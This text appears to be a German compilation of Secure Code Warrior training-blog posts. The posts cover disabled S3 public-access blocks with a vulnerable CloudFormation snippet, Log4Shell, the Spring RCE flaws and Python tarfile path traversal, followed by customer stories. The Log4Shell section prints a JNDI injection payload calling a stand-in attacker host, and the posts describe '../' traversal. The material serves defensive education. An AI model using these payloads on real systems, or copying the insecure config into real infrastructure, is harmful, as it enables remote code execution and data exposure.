Einblicke in sichere Codes

Die Bedrohungen für die Cybersicherheit sind heutzutage allgegenwärtig und unerbittlich. Je mehr Facetten unseres Lebens digitalisiert werden, desto mehr steht für Cyberkriminelle auf dem Spiel - es gibt zu viel Code, den es zu schützen gilt, und private Daten sind zu wertvoll. Und, nun ja, der Versuch, mit jedem Aspekt der Angriffsfläche Schritt zu halten und sie zu verteidigen, nachdem die Programme bereitgestellt wurden, ist fast unmöglich geworden.

Es gibt Ansätze, die einige dieser Symptome lindern können, und einer davon ist offensichtlich, wenn kluge Organisationen das Konzept von Infrastructure as Code (IaC) annehmen. Natürlich gibt es, wie bei jeder Entwicklung, einige Sicherheitsfallen, die es zu umschiffen gilt. Und da die Entwickler an dem Code arbeiten, der die lebenswichtige Infrastruktur für den Betrieb der Anwendungen generiert, ist das Sicherheitsbewusstsein in jeder Phase des Prozesses entscheidend.

Wie genau würde ein Entwickler, der neu in einer Cloud-Server-Umgebung ist, vorgehen, um sich fortzubilden, die Grundlagen zu erlernen und mit erhöhtem Sicherheitsbewusstsein an den Build heranzugehen? Wir haben die nächste "Coders Conquer Security"-Reihe ins Leben gerufen, um häufige IaC-Schwachstellen zu beheben. In den nächsten Blogs werden wir uns auf Schritte konzentrieren, die Sie als Entwickler unternehmen können, um mit der Bereitstellung einer sicheren Infrastruktur als Code in Ihrem eigenen Unternehmen zu beginnen.

Fangen wir an.

Es gibt eine Fabel aus dem alten amerikanischen Westen über einen Mann, der paranoid war, dass Banditen sein Gehöft angreifen und ausrauben würden. Um dies zu kompensieren, investierte er in alle möglichen Sicherheitsmaßnahmen, wie z. B. den Einbau einer extrastarken Eingangstür, das Vernageln aller Fenster und die Aufbewahrung vieler Gewehre in unmittelbarer Nähe. Trotzdem wurde er eines Nachts im Schlaf ausgeraubt, weil er vergessen hatte, die Seitentür zu verschließen. Die Banditen fanden einfach die deaktivierte Sicherung und nutzten die Situation schnell aus.

Mit deaktivierten Sicherheitsfunktionen in Ihrer Infrastruktur verhält es sich ähnlich. Selbst wenn Ihr Netzwerk über eine starke Sicherheitsinfrastruktur verfügt, nützt es sehr wenig, wenn Elemente deaktiviert wurden.

Lassen Sie mich eine Herausforderung stellen, bevor wir eintauchen:

Besuchen Sie den obigen Link, und Sie werden zu unserer gamifizierten Trainingsplattform transportiert, wo Sie jetzt versuchen können, eine deaktivierte Sicherheitsfunktion zu überwinden. (Achtung! Es öffnet sich in Kubernetes, aber verwenden Sie das Dropdown-Menü und Sie können zwischen Docker, CloudFormation, Terraform und Ansible wählen).

Wie haben Sie abgeschnitten? Wenn Sie noch etwas Arbeit vor sich haben, lesen Sie weiter:

Sicherheitsfunktionen können aus verschiedenen Gründen deaktiviert werden. Bei einigen Anwendungen und Frameworks sind sie möglicherweise standardmäßig deaktiviert und müssen erst eingeschaltet werden, um zu funktionieren. Es ist auch möglich, dass Administratoren bestimmte Sicherheitsfunktionen deaktiviert haben, um bestimmte Aufgaben leichter ausführen zu können, ohne ständig herausgefordert oder blockiert zu werden (z. B. ein AWS S3-Bucket öffentlich machen). Nach Abschluss ihrer Arbeit vergessen sie vielleicht, diese deaktivierten Funktionen wieder zu aktivieren. Sie könnten es auch vorziehen, sie ausgeschaltet zu lassen, um ihre Arbeit in Zukunft einfacher zu machen.

Warum deaktivierte Sicherheitsfunktionen so gefährlich sind

Eine oder mehrere deaktivierte Sicherheitsfunktionen zu haben, ist aus mehreren Gründen schlecht. Zum einen wurde die Sicherheitsfunktion in die Infrastrukturressourcen integriert, um sie vor einem bekannten Exploit, einer Bedrohung oder einer Schwachstelle zu schützen. Wenn sie deaktiviert ist, kann sie Ihre Ressourcen nicht mehr schützen.

Angreifer werden immer zuerst versuchen, leicht ausnutzbare Schwachstellen zu finden und können sogar ein Skript verwenden, um gängige Schwachstellen durchzuspielen. Es ist nicht unähnlich einem Dieb, der alle Autos in einer Straße überprüft, um zu sehen, ob irgendwelche Türen unverschlossen sind, was viel einfacher ist, als ein Fenster einzuschlagen. Hacker könnten überrascht sein, wenn sie feststellen, dass eine gängige Sicherheitsabwehr inaktiv ist. Aber wenn das passiert, wird es nicht lange dauern, bis sie es ausnutzen.

Zweitens: Gute Sicherheitsmaßnahmen zu haben und sie dann zu deaktivieren, schafft ein falsches Gefühl von Sicherheit. Administratoren denken vielleicht, dass sie vor allgemeinen Bedrohungen geschützt sind, wenn sie nicht wissen, dass jemand diese Verteidigungsmaßnahmen deaktiviert hat.

Als Beispiel dafür, wie ein Angreifer eine deaktivierte Sicherheitsfunktion ausnutzen könnte, betrachten Sie die AWS S3-Sicherheitsfunktion "block public access". Mit Amazon S3 block public access können Kontoadministratoren und Bucket-Besitzer ganz einfach zentralisierte Kontrollen einrichten, um den öffentlichen Zugriff auf ihre Amazon S3-Ressourcen zu beschränken. Einige Administratoren, die auf Probleme beim Zugriff auf den S3-Bucket stoßen, entscheiden sich jedoch dafür, diesen öffentlich zu machen, um die Aufgabe so schnell wie möglich zu erledigen. Wenn sie vergessen, diese Sicherheitsfunktion zu aktivieren, hat ein Angreifer vollständigen Zugriff auf die in diesem S3-Bucket gespeicherten Informationen, was nicht nur zur Offenlegung von Informationen führt, sondern auch zusätzliche Kosten aufgrund von Datenübertragungsgebühren verursacht.

Lassen Sie uns einige reale Codes vergleichen; sehen Sie sich diese CloudFormation-Schnipsel an:

Verwundbar:

CorporateBucket:
Type: AWS::S3::Bucket
Properties:
PublicAccessBlockConfiguration:
BlockPublicAcls: false
BlockPublicPolicy: false
IgnorePublicAcls: false
RestrictPublicBuckets: false
VersioningConfiguration:
Status: Enabled
BucketEncryption:
ServerSideEncryptionConfiguration:
- ServerSideEncryptionByDefault:
SSEAlgorithm: "AES256"

Sicher:

CorporateBucket:
Type: AWS::S3::Bucket
Eigenschaften:
PublicAccessBlockConfiguration:
BlockPublicAcls: true
BlockPublicPolicy: true
IgnorePublicAcls: true
RestrictPublicBuckets: true
VersioningConfiguration:
Status: Enabled
BucketEncryption:
ServerSideEncryptionConfiguration:
- ServerSideEncryptionByDefault:
SSEAlgorithm: "AES256"

Verhindern von deaktivierten Sicherheitsfunktionen

Zu verhindern, dass deaktivierte Sicherheitsfunktionen Ihrem Unternehmen Schaden zufügen, ist ebenso eine Frage der Richtlinie wie der Praxis. Es sollte eine feste Richtlinie geben, die besagt, dass Sicherheitsfunktionen nur unter ganz bestimmten Umständen deaktiviert werden sollten. Vorfälle, in denen Funktionen vorübergehend deaktiviert werden müssen, um an einem Problem zu arbeiten oder Anwendungen zu aktualisieren, sollten protokolliert werden. Nach Abschluss der erforderlichen Arbeiten sollten die Funktionen überprüft werden, um sicherzustellen, dass sie vollständig reaktiviert wurden.

Wenn eine Sicherheitsfunktion dauerhaft deaktiviert werden muss, um den Betrieb zu rationalisieren, sollten für die betroffenen Daten andere Schutzmechanismen vorgesehen werden, um sicherzustellen, dass Hacker nicht in der Lage sind, auf die Daten zuzugreifen, wenn der Standardschutz nicht vorhanden ist. Wenn eine benötigte Schutzfunktion deaktiviert wurde, ist es nur eine Frage der Zeit, bis ein Angreifer diese unverschlossene Tür findet und die Situation ausnutzt.

Lernen Sie mehr, fordern Sie sich selbst heraus:

Schauen Sie sich die Secure Code Warrior Blog-Seiten, um weitere Informationen über diese Sicherheitslücke zu erhalten und zu erfahren, wie Sie Ihr Unternehmen und Ihre Kunden vor den Auswirkungen anderer Sicherheitslücken und Schwachstellen schützen können.

Sind Sie bereit, diese Schwachstelle zu finden und zu beheben, nachdem Sie diesen Beitrag gelesen haben? Es ist an der Zeit,eine gamifizierte IaC-Sicherheitsherausforderung auf der Plattform Secure Code Warrior auszuprobieren, um alle Ihre Cybersecurity-Fähigkeiten zu verfeinern und auf dem neuesten Stand zu halten.

Dies ist eine wöchentliche Serie, die sich mit den acht wichtigsten Infrastructure as Code-Schwachstellen befasst; schauen Sie nächste Woche wieder vorbei, um mehr zu erfahren!

In einem früheren Blogbeitrag wurde der Java-Gotcha „Bitwise vs Boolean Operator“ beschrieben.

• Java-Gotchas — Bitweiser oder boolescher Operator

Wir haben eine Variante davon und einige andere Java-Gotchas zu einem lustigen kleinen Quiz namens „Challenge The Sensei“ hinzugefügt.

• scw.typeform.com/to/RGW7Q7OE

Wenn Sie den obigen Blogbeitrag gelesen haben, sind Sie an der richtigen Stelle, um mindestens eine der Fragen zu beantworten.

Aber deine Freunde vielleicht nicht. Wenn dir das Quiz Spaß macht, kannst du es mit ihnen teilen und sehen, ob sie genauso gut abschneiden wie du.

Da wir dich nicht einfach befragen wollen. Wir wollen versuchen, dies zu nutzen, um das Wissen zu vermitteln und zu kodifizieren. Deshalb haben wir ein Github-Repo erstellt, das lauffähige Codebeispiele für das Problem und die Lösung enthält.

• github.Sensei

Das ist ein Sensei aktiviertes Repo.

Wenn Sie das Repo klonen und in IntelliJ laden, vorausgesetzt, Sie haben den Secure Code Warrior Sensei IntelliJ Plugin installiert, dann wird es automatisch sehen, dass Sie einen.sensei Ordner haben, und lädt die Sensei-Rezepte.

Wenn Sie den Code in der IDE durchsuchen, sollten Sie sehen, dass IntelliJ Sie darauf hinweist, dass der Fehler im Code vorhanden ist, und das sollte es einfacher machen, den Fehler im Code zu erkennen:

• Bewegen Sie den Mauszeiger über den hervorgehobenen Code, dann wird eine Aufforderung angezeigt, die Sie über den Fehler informiert.
• Verwenden Sie die Taste Kontextaktion anzeigen: Alt+Enter (Windows) Option+Enter (macOS) und wir haben möglicherweise einen QuickFix verfügbar, der den Code korrigieren kann.

Sensei-Rezepte wurden hinzugefügt für:

• Bitweise Operatoren
• IP-Adresse aufteilen
• Bestellung geltend machen

Wir fügen in Zukunft weitere Rezepte und mehr erklärenden Text hinzu, um den Rest des Codes abzudecken... aber lassen Sie sich dadurch nicht davon abhalten, sich den Code anzusehen und den Fehler selbst zu erkennen.

Und vergiss nicht, das Quiz auszuprobieren und“Fordere den Sensei heraus„

Am 9. Dezember wurde ein 0-Tage-Exploit in der Java-Bibliothek Log4j veröffentlicht. CVE-44228, synchronisiert Log4-Shell, wurde als „hoher Schweregrad“ eingestuft, da der Exploit zur Remotecodeausführung führen kann (REIS). Darüber hinaus ist log4j-core eine der am häufigsten verwendeten Java-Logging-Bibliotheken und gefährdet daher Millionen von Anwendungen.

Möchten Sie Ihre Fähigkeiten im Umgang mit Log4Shell schnell verbessern?

Wir haben ein Showcase erstellt, das Sie von der Grundidee von Log4Shell bis hin zu den Exploits dieser Sicherheitslücke in einem Simulator namens Mission führt. In dieser Mission zeigen wir Ihnen, wie sich die Log4j-Sicherheitslücke auf Ihre Infrastruktur und Anwendungen auswirken kann. Klicken Sie hier, um direkt in den Showcase zu springen, oder lesen Sie weiter, um mehr über die Sicherheitsanfälligkeit im Detail zu erfahren.

Alte Neuigkeiten?

Der Exploit ist nicht neu. Bereits in ihrem BlackHat-Vortrag 2016 haben Sicherheitsforscher Alvaro Muñoz und Oleksandr Mirosh betonte das“Anwendungen sollten keine JNDI-Lookups mit nicht vertrauenswürdigen Daten durchführen„und veranschaulichte, wie eine gezielte JNDI/LDAP-Injektion zur Remotecodeausführung führen kann. Und genau das ist der Kern von Log4Shell.

Angriffsvektor

Die Injektionsnutzlast von Log4Shell sieht so aus:

$ {jndi: ldap: //attacker.host/xyz}

Um das zu verstehen, müssen wir über Javas Expression Language (EL) Bescheid wissen. Ausdrücke, die in der folgenden Syntax geschrieben sind: $ {expr} wird zur Laufzeit ausgewertet. $ {java:version} gibt beispielsweise die verwendete Java-Version zurück.

Als nächstes gibt es JNDI, oder Java-Benennungs- und Verzeichnisschnittstelle, eine API, die es ermöglicht, mithilfe von Protokollen wie LDAP, DNS, RMI usw. eine Verbindung zu Diensten herzustellen, um Daten oder Ressourcen abzurufen. Einfach ausgedrückt: In unserem obigen Beispiel für bösartige Nutzdaten führt JNDI eine Suche auf dem vom Angreifer kontrollierten LDAP-Server durch. Die Antwort könnte beispielsweise auf eine Java-Klassendatei hinweisen, die bösartigen Code enthält, der im Gegenzug auf dem anfälligen Server ausgeführt wird.

Was diese Sicherheitslücke so problematisch macht, ist, dass Log4j alle Logeinträge auswertet und nach allen protokollierten Benutzereingaben sucht, die in EL-Syntax mit dem Präfix „jndi“ geschrieben sind. Die Nutzlast kann an jeder Stelle eingefügt werden, an der Benutzer Daten eingeben können, z. B. in Formularfeldern. Außerdem HTTP-Header, wie die Benutzer-Agent und X-Forwarded-Fürund andere Header können so angepasst werden, dass sie die Nutzlast tragen.

Um den Exploit selbst zu erleben, gehe zu unserem Showcase und springe zu Schritt 2 — „Wirkung erleben“.

Prävention: Sensibilisierung

Ein Upgrade ist die empfohlene Maßnahme für alle Anwendungen, da Log4j den anfälligen Code gepatcht hat. Die Versionen 2.15.0 und 2.16.0 enthielten jedoch ein DDoS und andere Sicherheitslücken, was bedeutet, dass ab Ende Dezember ein Upgrade auf 2.17.0 empfohlen wird.

Als Entwickler, die Code schreiben, müssen wir die Sicherheit jederzeit berücksichtigen. Log4Shell hat uns gelehrt, dass die Verwendung von Frameworks oder Bibliotheken von Drittanbietern mit Risiken verbunden ist. Wir müssen uns der Tatsache bewusst sein, dass die Sicherheit unserer Anwendung durch die Verwendung externer Quellen beeinträchtigt werden kann, von denen wir naiverweise annehmen, dass sie sicher sind.

Hätte diese Sicherheitslücke verhindert werden können? Ja und nein. Einerseits können Entwickler nur so viel tun, als anfällige Komponenten über Software von Drittanbietern eingeführt werden. Auf der anderen Seite wurde die Lektion, die daraus gezogen wurde, immer wieder wiederholt, nämlich Benutzereingaben niemals zu vertrauen.

Secure Code Warrior ist der Ansicht, dass sicherheitsbewusste Entwickler der beste Weg sind, um Sicherheitslücken im Code zu verhindern. Da SCW umfangreiche Schulungen speziell für das Programmierframework anbietet, konnten Unternehmenskunden anhand der Berichtsdaten schnell herausfinden, wer die betroffenen Java-Entwickler sind. Sie verließen sich auch auf ihre von SCW geschulten Sicherheitsexperten, um das Upgrade von Log4j zu beschleunigen.

Insbesondere für Java-Entwickler bietet Secure Code Warrior Sensei, ein kostenloses IntelliJ-Plugin. Dieses regelbasierte Codeanalyse-Tool kann verwendet werden, um Codierungsrichtlinien durchzusetzen und Sicherheitslücken zu verhindern und zu beheben. Sie können Ihre eigenen Regeln erstellen oder unsere vorgefertigten verwenden Kochbücher. Stöbern Sie in unseren Rezepte, und vergessen Sie nicht, unsere herunterzuladen Log4j Kochbuch was Ihnen helfen wird, die Log4Shell-Sicherheitslücke im Handumdrehen zu finden und zu beheben.

Verbessere deine Fähigkeiten in der Verteidigung gegen Log4Shell

Interessiert daran, das, was Sie in diesem Blogbeitrag gelernt haben, in die Praxis umzusetzen? Unser Showcase kann Ihnen helfen. Zu Beginn des Showcases erhalten Sie einen kurzen Überblick über diese Sicherheitslücke. Anschließend werden Sie in eine simulierte Umgebung geleitet, in der Sie den Exploit anhand von Anleitungen ausprobieren können.

‍

Vor Kurzem haben Spring-Bibliotheken, eine der beliebtesten Bibliotheken in der Java-Community, zwei Sicherheitslücken im Zusammenhang mit Remote Code Execution (RCE) aufgedeckt. Um Ihnen das Verständnis zu erleichtern, ob Sie durch eine der Sicherheitslücken gefährdet sind und welche Maßnahmen Sie ergreifen müssen, haben wir die bekannten Details für „Spring4Shell“ und „Spring Cloud Function“ aufgeschlüsselt.

Sicherheitslücke 1 — „Spring4Shell“ (CVE-2022-22965)

Am 29. März 2022 entdeckte die Community eine Reihe von Tweets, die Screenshots eines Machbarkeitsnachweises eines Exploits gegen Spring Core (SC) enthielten, der die Remote-Code-Ausführung für alle Versionen von Spring Core ermöglicht, einschließlich der zuletzt veröffentlichten Version 5.3.17.

Welche Anwendungen sind gefährdet?

Derzeit wurde bestätigt, dass nur Anwendungen, die auf Tomcat gehostet werden, von diesem neuen Exploit bedroht sind. Es wurde zwar nicht nachgewiesen, dass der Exploit gegen den Embedded Tomcat Servlet Container oder andere Anwendungen, die nicht von Tomcat gehostet werden, erfolgreich ist, aber das schließt nicht aus, dass sich die Bedrohung dieser Frameworks in Zukunft als erfolgreich erweisen könnte.

Spring hat einen offiziellen veröffentlicht Aussage über die Sicherheitsanfälligkeit, in der klargestellt wird, dass die folgenden Bedingungen erfüllt sein müssen, um nach derzeitigem Verständnis der Sicherheitsanfälligkeit gefährdet zu sein:

• JDK 9 oder höher
• Apache Tomcat als Servlet-Container
• Als traditionelles WAR verpackt (im Gegensatz zu einer ausführbaren Spring Boot-Jar)
• Spring-Webmvc- oder Spring-Webflux-Abhängigkeit
• Spring Framework-Versionen 5.3.0 bis 5.3.17, 5.2.0 bis 5.2.19 und ältere Versionen

Wie funktioniert die „Spring4Shell“ -Ausbeutung?

Die Ausnutzung basiert auf der Verwendung von „Data Binding“ (org.springframework.web.bind.WebDataBinder) in Anfragen, die Plain Old Java Objects (POJO) in der Methodensignatur verwenden:

Wobei die Foo-Klasse eine POJO-Klasse ist, die wie folgt definiert werden könnte. Beachten Sie, dass die eigentliche Klasse nicht wichtig ist, solange sie vom Class Loader geladen wird.

Wenn eine Anfrage mit einer solchen Methode bearbeitet wird, wird der Class Loader verwendet, um die Klasse aufzulösen. Der Class Loader ist dafür verantwortlich, Klassen zur Laufzeit zu laden, ohne dass zuerst alle möglichen Typen in den Speicher geladen werden müssen. Er findet heraus, welche JAR-Datei geladen werden muss, wenn eine neue Klasse verwendet wird.

Die aktuellsten und detailliertesten Informationen zu dieser Sicherheitsanfälligkeit finden Sie direkt von Spring auf ihrer Blogbeitrag, einschließlich möglicher Korrekturen oder Problemumgehungen.

Sicherheitslücke 2 — Spring Cloud-Funktion (CVE-2022-22963)

Am 27. März 2022 veröffentlichte Cyber Kendra Details zu einer 0-tägigen Remote Code Execution (RCE) -Sicherheitslücke in Spring Cloud Functions, für die es keinen Patch gab. Der Sicherheitslücke wurde die ID zugewiesen CVE-2022-22963: Sicherheitslücke beim Zugriff auf Spring Expression-Ressourcen.

Welche Anwendungen sind gefährdet?

Die Sicherheitsanfälligkeit betraf Anwendungen unter den folgenden Bedingungen:

• JDK 9 oder neuer
• Spring Cloud Functions Version 3.1.6 (oder niedriger), 3.2.2 (oder niedriger) oder jede nicht unterstützte Version

Wie funktioniert die Ausbeutung?

Spring Cloud Function bietet Entwicklern die Möglichkeit, zu konfigurieren, wie das Routing über die Eigenschaft spring.cloud.function.routing-expression gehandhabt wird, was normalerweise über Konfiguration oder Code erfolgt. Dies ist eine leistungsstarke Funktion, die die „Spring Expression Language“ (SPel) akzeptiert. Durch diese 0-Day-Sicherheitslücke haben wir herausgefunden, dass diese Eigenschaft über die HTTP-Header einer Anfrage gesetzt werden kann. Dies bedeutete, dass ein Angreifer SPel-Code direkt in seine HTTP-Anfrage an einen RoutingFunction-Endpunkt einbetten und so beliebigen Code ausführen konnte.

Welche Maßnahmen sollten Benutzer ergreifen, um das Risiko zu mindern?

Der Frühling hat veröffentlicht Versionen 3.1.7 und 3.2.3, um dieses Problem zu beheben, indem sie nicht zulassen, dass diese Eigenschaft über HTTP-Header gesetzt wird, wodurch die Sicherheitsanfälligkeit gemindert wird. Nach dem Upgrade auf eine der Versionen sind keine weiteren Schritte erforderlich.

Möchten Sie mehr darüber erfahren, wie wir Entwicklern helfen, sichereren Code zu schreiben? Eine Demo buchen oder lesen Sie unsere kostenlosen Richtlinien zur sicheren Codierung unter sicherer Code-Coach.

‍

Quellen

• https://www.lunasec.io/docs/blog/spring-rce-vulnerabilities/
• https://www.rapid7.com/blog/post/2022/03/30/spring4shell-zero-day-vulnerability-in-spring-framework/

‍

Kürzlich gab ein Team von Sicherheitsforschern bekannt, dass sie einen fünfzehn Jahre alten Fehler in der Python-Funktion zur Extraktion von tar-Dateien gefunden haben. Die Schwachstelle wurde erstmals im Jahr 2007 bekannt gegeben und als CVE-2007-4559 verfolgt. Der offiziellen Python-Dokumentation wurde ein Hinweis hinzugefügt, aber der Fehler selbst wurde nicht behoben.

Diese Sicherheitslücke könnte sich auf Tausende von Softwareprojekten auswirken, doch viele Menschen sind mit der Situation nicht vertraut und wissen nicht, wie sie damit umgehen sollen. Aus diesem Grund bieten wir hier bei Secure Code Warriordie Möglichkeit, die Ausnutzung dieser Schwachstelle selbst zu simulieren, um die Auswirkungen aus erster Hand zu erfahren und praktische Erfahrungen mit den Mechanismen dieses hartnäckigen Fehlers zu sammeln, damit Sie Ihre Anwendung besser schützen können!

Probieren Sie die simulierte Mission jetzt aus.

Die Schwachstelle: Pfadüberwindung beim Extrahieren von tar-Dateien

Pfad- oder Verzeichnisüberquerungen treten auf, wenn unüberprüfte Benutzereingaben verwendet werden, um einen Dateipfad zu konstruieren, was es einem Angreifer ermöglicht, Zugriff auf Dateien zu erhalten und diese zu überschreiben und sogar beliebigen Code auszuführen. 

Die Sicherheitslücke besteht im tarfile-Modul von Python. Eine tar-Datei (Bandarchiv) ist eine einzelne Datei, ein sogenanntes Archiv. Sie packt mehrere Dateien mit ihren Metadaten zusammen und ist normalerweise an der Erweiterung .tar.gz oder .tgz zu erkennen. Jedes Mitglied des Archivs kann durch ein TarInfo-Objekt dargestellt werden, das Metadaten wie Dateiname, Änderungszeit, Eigentümer und mehr enthält.

Das Risiko besteht darin, dass die Archive wieder extrahiert werden können.

Beim Extrahieren benötigt jedes Mitglied einen Pfad, in den es geschrieben wird. Dieser Pfad wird erstellt, indem der Basispfad mit dem Dateinamen verbunden wird: 

Sobald dieser Pfad erstellt ist, wird er an die Funktion tarfile.extract oder tarfile.extractall Funktionen weitergegeben, um die Extraktion durchzuführen: 

Das Problem ist hier die fehlende Bereinigung des Dateinamens. Ein Angreifer könnte Dateien so umbenennen, dass sie Pfad-Traversal-Zeichen enthalten, wie z.B. Punkt-Punkt-Schrägstrich (../), was dazu führen würde, dass die Datei das Verzeichnis verlässt, in dem sie eigentlich sein sollte, und beliebige Dateien überschreibt. Dies könnte schließlich zu einer entfernten Codeausführung führen, die für eine Ausnutzung reif ist. 

Die Schwachstelle tritt auch in anderen Szenarien auf, wenn man weiß, wie sie zu erkennen ist. Neben dem Umgang von Python mit tar-Dateien besteht die Schwachstelle auch bei der Extraktion von zip-Dateien. Vielleicht kennen Sie sie auch unter einem anderen Namen, wie z. B. die Zip-Slip-Schwachstelle, die sich auch in anderen Sprachen als Python manifestiert hat!

LINK ZUR MISSION 

Wie können Sie das Risiko mindern?

Obwohl die Schwachstelle seit Jahren bekannt ist, sind die Python-Betreuer der Ansicht, dass die Extraktionsfunktion genau das tut , was sie tun soll. In diesem Fall mögen manche sagen: "Es ist ein Feature, kein Bug". Leider können Entwickler nicht immer vermeiden, tar- oder zip-Dateien aus einer unbekannten Quelle zu extrahieren. Es liegt an ihnen, die nicht vertrauenswürdigen Eingaben zu bereinigen, um Schwachstellen durch Pfadüberquerung als Teil der sicheren Entwicklungspraktiken zu verhindern.

Möchten Sie mehr darüber erfahren, wie Sie mit Python sicheren Code schreiben und Risiken minimieren können?

Probieren Sie unsere Python-Herausforderung kostenlos aus.

Wenn Sie an weiteren kostenlosen Codierungsrichtlinien interessiert sind, besuchen Sie Secure Code Coach, damit Sie immer auf dem neuesten Stand der sicheren Codierungspraktiken sind.

‍

‍

Micha Martinez ist Cybersicherheitsanalyst und Kameramann bei Nelnet, einem US-Konzern, der sich mit der Verwaltung und Rückzahlung von Studentendarlehen und Finanzdienstleistungen im Bildungswesen befasst. Als er mit der Entwicklung eines Schulungsprogramms für Entwickler rund um sicheres Programmieren beauftragt wurde, beschritt er kreative Wege, um sein Team einzubeziehen. Wir waren so beeindruckt davon, wie er sein Schulungsprogramm für sicheren Code durchführt, dass wir uns mit ihm zusammengesetzt haben, um mehr darüber zu erfahren.

Die Quintessenz?

Schaffen Sie eine Sicherheitskultur und fördern Sie Ihre internen Sicherheitsexperten aus Ihren Entwicklungsteams, „die Kraft des Guten zu sein“.

„Durch die Konzentration auf sicheren Code haben wir dazu beigetragen, das Unternehmen stärker und sicherer zu machen.“

Bei Nelnet wussten Micha und sein Sicherheitsteam von Anfang an, wie wichtig es ist, sicheren Code zu erstellen. Sie wollten dies auf ansprechende, relevante und lohnende Weise erreichen. Er stellte fest, dass durch die Identifizierung von Entwicklern mit ausgeprägtem Interesse und guten Kenntnissen im Bereich sichere Programmierung und deren Förderung zu Sicherheitsexperten diese Champions zum Katalysator für eine Änderung der Denkweise in Bezug auf Sicherheitsschulungen insgesamt wurden. Diese Personen betreuen ihre Kollegen, die mehr Hilfe benötigen, auf Peer-to-Peer-Ebene und werden zu Vorreitern bei der Umsetzung von Änderungen der Sicherheitscode-Praktiken innerhalb des Unternehmens.

Hier erfahren Sie mehr von Micha darüber, wie er und sein Team die Denkweise und Kultur rund um die Sicherheitsprävention verändert haben, was ihr Unternehmen „stärker und sicherer“ gemacht hat.

Es geht nur darum, damit zu prahlen... und um die Reduzierung von Sicherheitslücken

Micha führt kein durchschnittliches Sicherheits-Trainingsprogramm durch. Er nutzt den Wettbewerb und seine kinematografischen Talente, um Turniere äußerst spannend und erfolgreich zu gestalten. Was Entwickler gewinnen, ist hochrelevantes, praktisches Wissen, das zu einem stärkeren Sicherheitscode führt.

Auch das Unternehmen gewinnt, da seine Produkte sicherer werden und ein höheres Maß an Schutz vor Softwareschwachstellen bieten. Das Erlernen von Softwaresicherheit muss keine typische und langweilige Lernerfahrung sein, bei der es kaum mehr ist, als ein Kästchen anzukreuzen. Entwickler wünschen sich Trainingserfahrungen, die eindringlich und herausfordernd sind und für ihre tägliche Arbeit relevant sind.

Schau dir an, wie Micha darüber spricht, wie er sicheres Programmieren Spaß macht, indem er Turniere veranstaltet, darunter physische Meisterschaftsgürtel a la Wrestle Mania als Preis. Alles, was es braucht, ist ein wenig gesunder Wettbewerb, um die Sicherheit seines Teams an erster Stelle zu haben.

Wer liebt es nicht, ein paar Prahlereien zu haben?

‍

Machen Sie sich eine Kultur zu eigen, in der sicheres Programmieren im Mittelpunkt steht... das Tool reicht nicht aus

Micha hinterließ uns einen letzten Gedanken darüber, warum er Secure Code Warrior . Die Plattform war das Mittel, das ihn dazu veranlasste, eine präventive Kultur und proaktives Lernen zu schaffen. Es hat einige Zeit gekostet, das Schulungsprogramm aufzubauen und auch in die Entwickler zu investieren, die gut geschult sind und gute Leistungen erbringen. Es bedarf einer transformativen Kultur, um die Fähigkeiten jedes Entwicklers zu entwickeln, um einen präventiven Ansatz für sicheres Programmieren zu verfolgen.

Hier mehr von Micha darüber, warum die Einführung einer Kultur der sicheren Codierung bei Secure Code Warrior Unterschied ausmacht.

Secure Code Warrior Entwicklern eine immersive und ansprechende Lernplattform für sicheres Programmieren. Interessiert an einer Demo? Buchen Sie unten eine.

Wir haben uns mit Larry Maccherone von Kontrast & Security getroffen, dem führenden Anbieter von modernisierter Anwendungssicherheit, der Codeanalyse und Angriffsprävention direkt in die Software integriert. Wir haben besprochen, wie kontextuelles Lernen erfolgreich funktioniert, um Entwickler in sicherer Programmierung zu schulen.

Entwickler von heute haben zunehmend die Aufgabe, die Cybersicherheitsverletzungen von morgen zu stoppen. Schulungen zu Code-Schwachstellen sind zwar verfügbar, werden aber oft in uninteressanten Formaten angeboten, die für die tägliche Arbeit der Entwickler nicht relevant sind. Entwickler müssen schnell Code schreiben, um den Kundenanforderungen gerecht zu werden, was wiederum Geschäftsziele wie Schulungen nach hinten verschiebt. Und wenn diese Schulung außerhalb des Kontexts und in Form von langen Präsentationen oder Studienhandbüchern angeboten wird, wird sie noch schwieriger, sodass der Nutzen des zusätzlichen Aufwands kaum zu erkennen ist.

Wie können Unternehmen Entwicklern wichtige Sicherheitsschulungen anbieten, ohne ihre täglichen Aufgaben zu unterbrechen oder sie von bevorzugten Tools und Workflows fernzuhalten?

Die Antwort ist einfach. Indem wir kontextbezogenes Lernen nutzen und den Entwicklern Schulungen direkt zur Verfügung stellen. Larry erklärt im folgenden Video, warum dies für Entwickler so nützlich ist.

Durch die Integration von Schulungsmöglichkeiten während Entwickler Codeprobleme prüfen, erhalten sie sofort die Informationen, die für das identifizierte Problem oder die Sicherheitslücke am relevantesten sind. Da die Schulung in kleineren und leichter verdaulichen Teilen angeboten wird, ist es außerdem wahrscheinlicher, dass Entwickler die Informationen behalten und die Verwendung von anfälligem Code in Zukunft verhindern. Wie Larry es ausdrückt: „Feedback ist der Schlüssel zum Lernen“.

Unter dem Strich müssen Entwickler in kürzerer Zeit mehr erledigen und sicheren, qualitativ hochwertigen Code liefern. Durch das Einbinden von Schulungen, die kontextualisiert und spezifisch auf die Code-Schwachstelle zugeschnitten sind, werden die Arbeitsabläufe und die Erfahrung der Entwickler optimiert und ihre Kundenbindung erhöht. Erfahren Sie von Larry, wie Sie sich diese 40 Stunden Training sparen können!

Secure Code Warrior technische Integrationen, die Ihren Entwicklungs- und Sicherheitsteams kontextbezogenes und hyperrelevantes Lernen ermöglichen.

Interessiert an einer Demo? Buchen Sie unten eine.

‍

Der Software Development Lifecycle (SDLC) scheint harmlos genug zu sein; es ist ein Prozess, und wir Softwareentwickler kommen alle zusammen, um die Magie Wirklichkeit werden zu lassen und all die digitalen Dinge zu versenden, ohne die die Gesellschaft nicht leben kann.

Außer... wenn du schon einmal Teil eines Softwareentwicklungsprojekts warst, weißt du, dass es normalerweise ein Spießrutenlauf ist, mit vielen Quests, die es zu erobern gilt, und Drachen, die es zu töten gilt. Eine Zeit lang macht es Spaß, aber Burnout ist real, und die Nachfrage nach Software lässt uns alle in den besten Zeiten mit Lichtgeschwindigkeit arbeiten, besonders das Entwicklungsteam.

